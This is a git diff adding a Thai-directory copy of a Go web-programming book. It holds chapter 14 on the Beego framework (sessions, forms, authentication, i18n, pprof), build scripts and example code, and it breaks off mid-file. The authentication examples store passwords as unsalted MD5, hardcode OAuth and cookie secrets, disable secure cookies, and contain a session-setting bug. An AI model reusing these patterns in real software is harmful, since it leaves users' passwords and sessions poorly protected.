in PHP session_start() + sess:= this.StartSession() + +2. Using the session for general operations + + // Get the session values , similar in PHP $ _SESSION ["count"] + sess.Get("count") + + // Set the session value + sess.Set("count", intcount) + +As you can see, applications based on the Beego framework can easily implement sessions. The process is very similar to calling `session_start()` in PHP applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Static files](14.1.md) +- Next section: [Forms](14.3.md) diff --git a/th/14.3.md b/th/14.3.md new file mode 100644 index 000000000..faa2edb5d --- /dev/null +++ b/th/14.3.md @@ -0,0 +1,356 @@ +# 14.3 Forms + +In web development, the following workflow will probably look quite familiar: + +- Open a web page showing a form +- Users fill out and submit the form +- If a user submits some invalid information or has neglected to fill out a required field, the form will be returned to the user (along with the filled in data) with some descriptive information about the problem. +- Users re-fill the invalid fields and continue attempting to submit the form until it's accepted + +At the receiving end, the script must: + +- Check the user submitted form data. +- Verify whether the data is the correct type and of the appropriate standard. For example, if a username is submitted, it must verify that it contains only valid characters. Other examples would be checking for minimum and maximum lengths, username uniqueness, and so on. +- Filtering data and cleaning up unsafe characters to guarantee that our application only processes data which is safe. +- If necessary, pre-format the data (or data gaps need to be cleared through the HTML coding and so on.) +- Prepare the data for insertion into the database + +Although the procedure is not very complex, it usually requires a lot of boilerplate. In addition, web applications often use a variety of different control structures to display error messages on returned pages. Implementing form validation is a simple but boring task. + +## Forms and validation + +For developers, the general development process can be quite complex, but it's mostly repetitive work. Suppose a scenario arises where you suddenly need to add a form to your project, causing you to rewrite all of the local code tied in with the form. We know that `structs` are a very commonly used data structure in Go, and Beego uses them to its advantage for processing form information. + +First, we define a `struct` with fields corresponding to the fields in our form element. We can use `struct` tags which map to the form element, as shown below: + +When developing Web applications, first define a struct that matches a field to a corresponding form element, defined by using a struct tag corresponding to the element information and authentication information, as shown below: + +For developers, the general development process is very complex, and mostly consists of repeating the same work process. Assuming a scenario for a project whereby a need arises to add data to a form, then the local code of the entire process needs to be modified. We know in Go a struct is a common data structure, so beego uses a form struct to process form information. + +First define a `struct` with fields corresponding to our form element, using `struct` tags to define the corresponding form element and authentication information, like so: + + type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` + } + +After defining our `struct`, we can add this action in our controller: + + func (this *AddController) Get() { + this.Data["form"] = beego.Form(&User{}) + this.Layout = "admin/layout.html" + this.TplNames = "admin/add.tpl" + } + +The form is displayed in our template like so: + +

New Blog Post

+
+ {{.form.render()}} +
+ +Above, we've defined the entire first step of displaying a form mapped to a `struct`. The next step is for users to fill in their information and submit the form, after which the server will receive the data and verify it. Finally, the record will be inserted into the database. + + func (this *AddController) Post() { + var user User + form := this.GetInput(&user) + if !form.Validates() { + return + } + models.UserInsert(&user) + this.Ctx.Redirect(302, "/admin/index") + } + +## Form type + +The following table lists the corresponding form element information: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameparameterDescription
text + Notextbox input box
button + Nobutton
checkbox + Nomulti-select box
dropdown + Nodrop-down selection box
file + Nofile upload
hidden + Nohidden elements
password + Nopassword input box
radio + Nosingle box
textarea + Notext input box
+ + +## Form validation + +The following table lists some form validation rules native to Beego that can be used: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rulesparameterDescriptionExample
required + NoIf the element is empty, it returns FALSE
matches + Yesif the form element's value with the corresponding form field parameter values are not equal, then return + FALSEmatches [form_item]
is_unique + Yesif the form element's value with the specified field in a table has duplicate data, it returns False( Translator's + Note: For example is_unique [User.Email], then the validation class will look for the User table in the + Email field there is no form elements with the same value, such as deposit repeat, it returns false, so + developers do not have to write another Callback verification code.)is_unique [table.field]
min_length + Yesform element values if the character length is less than the number of defined parameters, it returns FALSEmin_length [6]
max_length + Yesif the form element's value is greater than the length of the character defined numeric argument, it returns + FALSEmax_length [12]
exact_length + Yesif the form element values and parameters defined character length number does not match, it returns FALSEexact_length [8]
greater_than + YesIf the form element values non- numeric types, or less than the value defined parameters, it returns FALSEgreater_than [8]
less_than + YesIf the form element values non- numeric types, or greater than the value defined parameters, it returns FALSEless_than [8]
alpha + NoIf the form element value contains characters other than letters besides, it returns FALSE
alpha_numeric + NoIf the form element values contained in addition to letters and other characters other than numbers, it returns + FALSE
alpha_dash + NoIf the form element value contains in addition to the letter/ number/ underline/ characters other than dash, + returns FALSE
numeric + NoIf the form element value contains characters other than numbers in addition, it returns FALSE
integer + Noexcept if the form element contains characters other than an integer, it returns FALSE
decimal + YesIf the form element type( non- decimal ) is not complete, it returns FALSE
is_natural + Novalue if the form element contains a number of other unnatural values ( other values excluding zero ), it + returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.
is_natural_no_zero + Novalue if the form element contains a number of other unnatural values ( other values including zero ), it + returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.
valid_email + NoIf the form element value contains invalid email address, it returns FALSE
valid_emails + Noform element values if any one value contains invalid email address( addresses separated by commas in English + ), it returns FALSE.
valid_ip + Noif the form element's value is not a valid IP address, it returns FALSE.
valid_base64 + Noif the form element's value contains the base64-encoded characters in addition to other than the characters, + returns FALSE.
+ +## Links + +- [Directory](preface.md) +- Previous section: [Sessions](14.2.md) +- Next section: [User validation](14.4.md) + diff --git a/th/14.4.md b/th/14.4.md new file mode 100644 index 000000000..5c7e754d7 --- /dev/null +++ b/th/14.4.md @@ -0,0 +1,265 @@ +# 14.4 User validation + +In the process of developing web applications, user authentication is a problem which developers frequently encounter. User login, registration and logout, among other operations, as well as general authentication can be divided into three parts: + +- HTTP Basic, and HTTP Digest Authentication +- Third Party Authentication Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc. +- Custom user login, registration, logout, are generally based on sessions and cookie authentication + +Beego does not natively provide support for any of these three things, however you can easily make use of existing third party open source libraries to implement them. The first two authentication solutions are on Beego's roadmap to eventually be integrated. + +## HTTP basic and digest authentication + +Both HTTP basic and digest authentication are relatively simple techniques commonly used by web applications. There are already many open source third-party libraries which support these two authentication methods, such as: + + github.com/abbot/go-http-auth + +The following code demonstrates how to use this library to implement authentication in a Beego application: + + package controllers + + import ( + "github.com/abbot/go-http-auth" + "github.com/astaxie/beego" + ) + + func Secret(user, realm string) string { + if user == "john" { + // password is "hello" + return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1" + } + return "" + } + + type MainController struct { + beego.Controller + } + + func (this *MainController) Prepare() { + a := auth.NewBasicAuthenticator("example.com", Secret) + if username := a.CheckAuth(this.Ctx.Request); username == "" { + a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request) + } + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +The above code takes advantage of Beego's `prepare()` function to perform authentication before allowing the normal flow of execution to proceed; as you can see, it's very simple to implement HTTP authentication. Digest authentication can be implemented in much the same way. + +## OAuth and OAuth 2 authentication + +OAuth and OAuth 2 are currently two of the most popular authentication methods. Fortunately, there are third-party libraries which implement this type of authentication such as the `go.auth` package available on github. + + github.com/bradrydzewski/go.auth + +The code below demonstrates how to use this library to implement OAuth authentication in Beego using our GitHub credentials: + +1. Let's add some routes + + beego.RegisterController("/auth/login", &controllers.GithubController{}) + beego.RegisterController("/mainpage", &controllers.PageController{}) + +2. Then we deal with the `GithubController` landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + ) + + const ( + githubClientKey = "a0864ea791ce7e7bd0df" + githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + +3. Handling after a successful landing page: + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +The whole process is as follows: + +first open your browser and enter the address: + +![](images/14.4.github.png?raw=true) + +Figure 14.4 shows the home page with a login button + +When clicking on the link, the following screen appears: + +![](images/14.4.github2.png?raw=true) + +Figure 14.5 displayed after clicking the login button to authenticate with your GitHub credentials + +After clicking "Authorize app", the following screen appears: + +![](images/14.4.github3.png?raw=true) + +Figure 14.6 authorized GitHub information gets displayed after the login page + +## Custom authentication + +Custom authentication is generally combined with session authentication; the following code is a Beego based open source blog which demonstrates this: + + //Login process + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //Registration process + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //Set the session successful login + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +Once you have implemented user login and registration, other modules can be added to determine whether the user has been logged in or not: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## Links + +- [Directory](preface.md) +- Previous section: [Form](14.3.md) +- Next section: [Multi-language support](14.5.md) + diff --git a/th/14.5.md b/th/14.5.md new file mode 100644 index 000000000..be51c2dc9 --- /dev/null +++ b/th/14.5.md @@ -0,0 +1,118 @@ +# 14.5 Multi-language support + +In the chapter where we introduced internationalization and localization, we developed the `go-i18n` library. In this section, we will see how this library is integrated into the Beego framework, and how it enables our Beego applications to support both internationalization and localization. + +## I18n integration + +Beego first sets some global variables: + + Translation i18n.IL + Lang string // set the language pack, zh, en + LangPath string // set the language pack location + +A multi-language initialization function is defined: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +In order to facilitate multi-language calls in the template package directly, we designed three functions for handling multi-language responses: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## Multi-language development + +1. Setting the language and location of the language pack, then initialize i18n objects: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. Designing a multi-language package + + Above, we talked about how to initialize a multi-language package. Now, let's look at how to design one. Multi-language packages are typically JSON files, as you've already seen in Chapter 10. We must provide translation files for languages we wish to support on our `LangPath`, such as the following: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + # en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. Using language packages + + We can call the controller to get the translated response in the desired language, like so: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + We can also directly interpolate translated responses in our templates: + + // Direct Text translation + {{.create | Trans}} + + // Time to translate + {{.time | TransDate}} + + // Currency translation + {{.money | TransMoney}} + +## Links + +- [Directory](preface.md) +- Previous section: [User validation](14.4.md) +- Next section: [pprof](14.6.md) + diff --git a/th/14.6.md b/th/14.6.md new file mode 100644 index 000000000..0bae31631 --- /dev/null +++ b/th/14.6.md @@ -0,0 +1,110 @@ +# 14.6 pprof + +A great feature of Go's standard library is its code performance monitoring tools. These packages exist in two places: + + net/http/pprof + + runtime/pprof + +In fact, `net/http/pprof` simply exposes runtime profiling data from the `runtime/pprof` package on an HTTP port. + +## pprof support in Beego + +The Beego framework currently supports pprof, however it is not turned on by default. If you need to test the performance of your application, (for instance by viewing the execution goroutine) such information from Go's default package "net/http/pprof" already has this feature. Because beego has repackaged the ServHTTP function, you can not open the default feature included in pprof. This resulted in beego supporting pprof internally. + +- First in our `beego.Run` function, we choose whether or not to automatically load the performance pack according to our configuration variable (in this case, PprofOn): + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- Designing `ProfController` + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## Getting started + +From the above, we can see that enabling pprof is as simple as setting the `PprofOn` configuration variable to `true`: + + beego.PprofOn = true + +You can then open the following URL in your browser to see the following interface: + +![](images/14.6.pprof.png?raw=true) + +Figure 14.7 current system goroutine, heap, thread information + +By clicking on a goroutine, we can see a lot of detailed information: + +![](images/14.6.pprof2.png?raw=true) + +Figure 14.8 shows the current goroutine details + +Of course, we can also get more details from the command line: + + go tool pprof http://localhost:8080/debug/pprof/profile + +This time, the program will begin profiling the application for a period of 30 seconds, during which time it will repeatedly refresh the page in the browser in an attempt to gather CPU usage and performance data. + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +Figure 14.9 shows the execution flow of information + +## Links + +- [Directory](preface.md) +- Previous section: [Multi-language support](14.5.md) +- Next section: [Summary](14.7.md) + diff --git a/th/14.7.md b/th/14.7.md new file mode 100644 index 000000000..da47febe4 --- /dev/null +++ b/th/14.7.md @@ -0,0 +1,10 @@ +# 14.7 Summary + +This chapter illustrates some ways in which the Beego framework can be extended. We first looked at static file support, learning how Beego handles serving static files internally. We saw how this functionality allowed us to easily integrate static assets (such as Bootstrap's CSS files) for rapid and great looking website development. Next, we saw how to integrate `sessionManager` to painlessly facilitate user sessions in Beego. We then described form management and validation, leveraging Go's structs to reduce code repetition and for simplifying field validation. After that, we discussed user authentication which involved three main strategies: HTTP authentication (basic and digest), third party authentication, and custom authentication. We learned about some existing third party authentication packages that have already implemented these strategies, which are conveniently accommodated by Beego. The next section re-introduced language support in Beego; we saw how to integrate the `go-i18n` package and learned how to easily load multiple language packs into our applications as needed. Lastly, we discussed how to work with Go's `pprof` packages in Beego. The `pprof` package is used for performance profiling in Go, and Beego repackages it so it can serve the same purpose in Beego applications without much additional work. Through these six sections, we've extended Beego with many features, making it into a versatile framework suitable for the requirements of many web applications. Users have the freedom of extending the framework to suit their individual needs; this brief introduction to Beego simply offers a small taste of what can be done! + +## Links + +- [Directory](preface.md) +- Previous section: [pprof](14.6.md) +- Next chapter: [Appendix A References](ref.md) + diff --git a/th/README.md b/th/README.md new file mode 100644 index 000000000..5589c6fc4 --- /dev/null +++ b/th/README.md @@ -0,0 +1,41 @@ +***Build Web Application with Golang*** +====================================== + +### Purpose + +Because I'm interested in web application development, I used my free time to write this book as an open source version. It doesn't mean that I have a very good ability to build web applications; I would like to share what I've done with Go in building web applications. + +- For those of you who are working with PHP/Python/Ruby, you will learn how to build a web application with Go. +- For those of you who are working with C/C++, you will know how the web works. + +I believe the purpose of studying is sharing with others. The happiest thing in my life is sharing everything I've known with more people. + +# Donate + +AliPay: alipay + +English Donate:[donate](http://beego.me/donate) + +## Community +QQ群:386056972 + +BBS:[http://gocn.io/](http://gocn.io/) + +### Acknowledgments + + - [四月份平民 April Citizen](https://plus.google.com/110445767383269817959) (review code) + - [洪瑞琦 Hong Ruiqi](https://github.com/hongruiqi) (review code) + - [边 疆 BianJiang](https://github.com/border) (write the configurations about Vim and Emacs for Go development) + - [欧林猫 Oling Cat](https://github.com/OlingCat)(review code) + - [吴文磊 Wenlei Wu](mailto:spadesacn@gmail.com)(provide some pictures) + - [北极星 Polaris](https://github.com/polaris1119)(review whole book) + - [雨 痕 Rain Trail](https://github.com/qyuhen)(review chapter 2 and 3) + +### License + +This book is licensed under the [CC BY-SA 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/), +the code is licensed under a [BSD 3-Clause License](), unless otherwise specified. + +### Get Started + +[Index](./preface.md) diff --git a/th/SUMMARY.md b/th/SUMMARY.md new file mode 100644 index 000000000..625cd97a2 --- /dev/null +++ b/th/SUMMARY.md @@ -0,0 +1,97 @@ +* [Go Environment Configuration](01.0.md) + * [Installation](01.1.md) + * [$GOPATH and workspace](01.2.md) + * [Go commands](01.3.md) + * [Go development tools](01.4.md) + * [Summary](01.5.md) +* [Go basic knowledge](02.0.md) + * [Hello, Go](02.1.md) + * [Go foundation](02.2.md) + * [Control statements and functions](02.3.md) + * [struct](02.4.md) + * [Object-oriented](02.5.md) + * [interface](02.6.md) + * [Concurrency](02.7.md) + * [Summary](02.8.md) +* [Web foundation](03.0.md) + * [Web working principles](03.1.md) + * [Build a simple web server](03.2.md) + * [How Go works with web](03.3.md) + * [Get into http package](03.4.md) + * [Summary](03.5.md) +* [HTTP Form](04.0.md) + * [Process form inputs](04.1.md) + * [Validation of inputs](04.2.md) + * [Cross site scripting](04.3.md) + * [Duplicate submissions](04.4.md) + * [File upload](04.5.md) + * [Summary](04.6.md) +* [Database](05.0.md) + * [database/sql interface](05.1.md) + * [How to use MySQL](05.2.md) + * [How to use SQLite](05.3.md) + * [How to use PostgreSQL](05.4.md) + * [How to use beedb ORM](05.5.md) + * [NOSQL](05.6.md) + * [Summary](05.7.md) +* [Data storage and session](06.0.md) + * [Session and cookies](06.1.md) + * [How to use session in Go](06.2.md) + * [Session storage](06.3.md) + * [Prevent hijack of session](06.4.md) + * [Summary](06.5.md) +* [Text files](07.0.md) + * [XML](07.1.md) + * [JSON](07.2.md) + * [Regexp](07.3.md) + * [Templates](07.4.md) + * [Files](07.5.md) + * [Strings](07.6.md) + * [Summary](07.7.md) +* [Web services](08.0.md) + * [Sockets](08.1.md) + * [WebSocket](08.2.md) + * [REST](08.3.md) + * [RPC](08.4.md) + * [Summary](08.5.md) +* [Security and encryption](09.0.md) + * [CSRF attacks](09.1.md) + * [Filter inputs](09.2.md) + * [XSS attacks](09.3.md) + * [SQL injection](09.4.md) + * [Password storage](09.5.md) + * [Encrypt and decrypt data](09.6.md) + * [Summary](09.7.md) +* [Internationalization and localization](10.0.md) + * [Time zone](10.1.md) + * [Localized resources](10.2.md) + * [International sites](10.3.md) + * [Summary](10.4.md) +* [Error handling, debugging and testing](11.0.md) + * [Error handling](11.1.md) + * [Debugging by using GDB](11.2.md) + * [Write test cases](11.3.md) + * [Summary](11.4.md) +* [Deployment and maintenance](12.0.md) + * [Logs](12.1.md) + * [Errors and crashes](12.2.md) + * [Deployment](12.3.md) + * [Backup and recovery](12.4.md) + * [Summary](12.5.md) +* [Build a web framework](13.0.md) + * [Project program](13.1.md) + * [Customized routers](13.2.md) + * [Design controllers](13.3.md) + * [Logs and configurations](13.4.md) + * [Add, delete and update blogs](13.5.md) + * [Summary](13.6.md) +* [Develop web framework](14.0.md) + * [Static files](14.1.md) + * [Session](14.2.md) + * [Form](14.3.md) + * [User validation](14.4.md) + * [Multi-language support](14.5.md) + * [pprof](14.6.md) + * [Summary](14.7.md) +* [References](ref.md) +* [preface](preface.md) \ No newline at end of file diff --git a/th/build.go b/th/build.go new file mode 100644 index 000000000..fbf7e662d --- /dev/null +++ b/th/build.go @@ -0,0 +1,118 @@ +package main + +import ( + "fmt" + "io/ioutil" + "os" + "path/filepath" + "regexp" + "strings" + + "github.com/fairlyblank/md2min" +) + +// 定义一个访问者结构体 +type Visitor struct{} + +func (self *Visitor) md2html(arg map[string]string) error { + from := arg["from"] + to := arg["to"] + err := filepath.Walk(from+"/", func(path string, f os.FileInfo, err error) error { + if f == nil { + return err + } + if f.IsDir() { + return nil + } + if (f.Mode() & os.ModeSymlink) > 0 { + return nil + } + if !strings.HasSuffix(f.Name(), ".md") { + return nil + } + + file, err := os.Open(path) + if err != nil { + return err + } + + input_byte, _ := ioutil.ReadAll(file) + input := string(input_byte) + input = regexp.MustCompile(`\[(.*?)\]\(?\)`).ReplaceAllString(input, "[$1](<$2.html>)") + + if f.Name() == "README.md" { + input = regexp.MustCompile(`https:\/\/github\.com\/astaxie\/build-web-application-with-golang\/blob\/master\/`).ReplaceAllString(input, "") + } + + // 以#开头的行,在#后增加空格 + // 以#开头的行, 删除多余的空格 + input = FixHeader(input) + + // 删除页面链接 + input = RemoveFooterLink(input) + + // remove image suffix + input = RemoveImageLinkSuffix(input) + + var out *os.File + filename := strings.Replace(f.Name(), ".md", ".html", -1) + fmt.Println(to + "/" + filename) + if out, err = os.Create(to + "/" + filename); err != nil { + fmt.Fprintf(os.Stderr, "Error creating %s: %v", f.Name(), err) + os.Exit(-1) + } + defer out.Close() + md := md2min.New("none") + err = md.Parse([]byte(input), out) + if err != nil { + fmt.Fprintln(os.Stderr, "Parsing Error", err) + os.Exit(-1) + } + + return nil + }) + return err +} + +func FixHeader(input string) string { + re_header := regexp.MustCompile(`(?m)^#.+$`) + re_sub := regexp.MustCompile(`^(#+)\s*(.+)$`) + fixer := func(header string) string { + s := re_sub.FindStringSubmatch(header) + return s[1] + " " + s[2] + } + return re_header.ReplaceAllStringFunc(input, fixer) +} + +func RemoveFooterLink(input string) string { + re_footer := regexp.MustCompile(`(?m)^#{2,} links.*?\n(.+\n)*`) + return re_footer.ReplaceAllString(input, "") +} + +func RemoveImageLinkSuffix(input string) string { + re_footer := regexp.MustCompile(`png\?raw=true`) + return re_footer.ReplaceAllString(input, "png") +} + +func main() { + tmp := os.Getenv("TMP") + if tmp == "" { + tmp = "." + } + + workdir := os.Getenv("WORKDIR") + if workdir == "" { + workdir = "." + } + + arg := map[string]string{ + "from": workdir, + "to": tmp, + } + + v := &Visitor{} + err := v.md2html(arg) + if err != nil { + fmt.Printf("filepath.Walk() returned %v\n", err) + } +} diff --git a/th/build.sh b/th/build.sh new file mode 100755 index 000000000..4f4f7a764 --- /dev/null +++ b/th/build.sh @@ -0,0 +1,56 @@ +#!/bin/bash + +SED='sed' + +if [ `uname -s` == 'Darwin' ] ; then + SED='gsed' +fi + +bn="`basename $0`" +WORKDIR="$(cd $(dirname $0); pwd -P)" + +# +# Default language: zh +# You can overwrite following variables in config file. +# +MSG_INSTALL_PANDOC_FIRST='请先安装pandoc,然后再次运行' +MSG_SUCCESSFULLY_GENERATED='build-web-application-with-golang.epub 已经建立' +MSG_CREATOR='Astaxie' +MSG_DESCRIPTION='一本开源的Go Web编程书籍' +MSG_LANGUAGE='zh-CN' +MSG_TITLE='Go Web编程' +[ -e "$WORKDIR/config" ] && . "$WORKDIR/config" + + +TMP=`mktemp -d 2>/dev/null || mktemp -d -t "${bn}"` || exit 1 +trap 'rm -rf "$TMP"' 0 1 2 3 15 + + +cd "$TMP" + +( +[ go list github.com/fairlyblank/md2min >/dev/null 2>&1 ] || export GOPATH="$PWD" +go get -u github.com/fairlyblank/md2min +WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build.go" +) + +if [ ! type -P pandoc >/dev/null 2>&1 ]; then + echo "$MSG_INSTALL_PANDOC_FIRST" + exit 0 +fi + +cat <<__METADATA__ > metadata.txt +$MSG_CREATOR +$MSG_DESCRIPTION +$MSG_LANGUAGE +Creative Commons +$MSG_TITLE +__METADATA__ + +mkdir -p $TMP/images +cp -r $WORKDIR/images/* $TMP/images/ +ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" + +pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/../build-web-application-with-golang.epub" `ls [0-9]*.html | sort` + +echo "$MSG_SUCCESSFULLY_GENERATED" diff --git a/th/code/readme.md b/th/code/readme.md new file mode 100644 index 000000000..f6d4510d5 --- /dev/null +++ b/th/code/readme.md @@ -0,0 +1,7 @@ +## Workspace setup. + +To avoid workspace issues and be able to develop from any folder within this path, +set the environment variable `GOPATH` to the path of this directory. + +More info: +- [GOPATH documentation](http://golang.org/doc/code.html#GOPATH) diff --git a/th/code/src/apps/ch.1.2/main.go b/th/code/src/apps/ch.1.2/main.go new file mode 100644 index 000000000..cc5b4e22c --- /dev/null +++ b/th/code/src/apps/ch.1.2/main.go @@ -0,0 +1,14 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Run this file to check if your workspace is setup correctly. +// To run, navigate to the current directory in a console and type `go run main.go` +// If the text "Hello World" isn't shown, then setup your workspace again. +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/th/code/src/apps/ch.2.1/main.go b/th/code/src/apps/ch.2.1/main.go new file mode 100644 index 000000000..1aa5bae16 --- /dev/null +++ b/th/code/src/apps/ch.2.1/main.go @@ -0,0 +1,11 @@ +// Example code for Chapter ? from "Build Web Application with Golang" +// Purpose: Hello world example demonstrating UTF-8 support. +// To run in the console, type `go run main.go` +// You're missing language fonts, if you're seeing squares or question marks. +package main + +import "fmt" + +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") +} diff --git a/th/code/src/apps/ch.2.2/main.go b/th/code/src/apps/ch.2.2/main.go new file mode 100644 index 000000000..5b54b9c5d --- /dev/null +++ b/th/code/src/apps/ch.2.2/main.go @@ -0,0 +1,277 @@ +// Example code for Chapter 2.2 from "Build Web Application with Golang" +// Purpose: Goes over the assignment and manipulation of basic data types. +package main + +import ( + "errors" + "fmt" +) + +// constants +const Pi = 3.1415926 + +// booleans default to `false` +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables + +// grouped definitions 